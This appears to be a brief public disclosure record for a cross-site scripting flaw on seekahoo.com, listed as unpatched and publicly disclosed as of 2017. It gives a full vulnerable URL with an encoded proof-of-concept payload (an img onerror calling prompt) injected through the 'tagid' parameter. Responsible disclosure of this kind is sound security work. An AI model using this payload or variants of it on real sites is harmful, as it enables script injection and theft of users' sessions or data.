seekahoo.com XSS vulnerability

Vulnerable URL: https://www.seekahoo.com/contractorlist.php?tagid=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=Pittsburgh=PA=15205=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...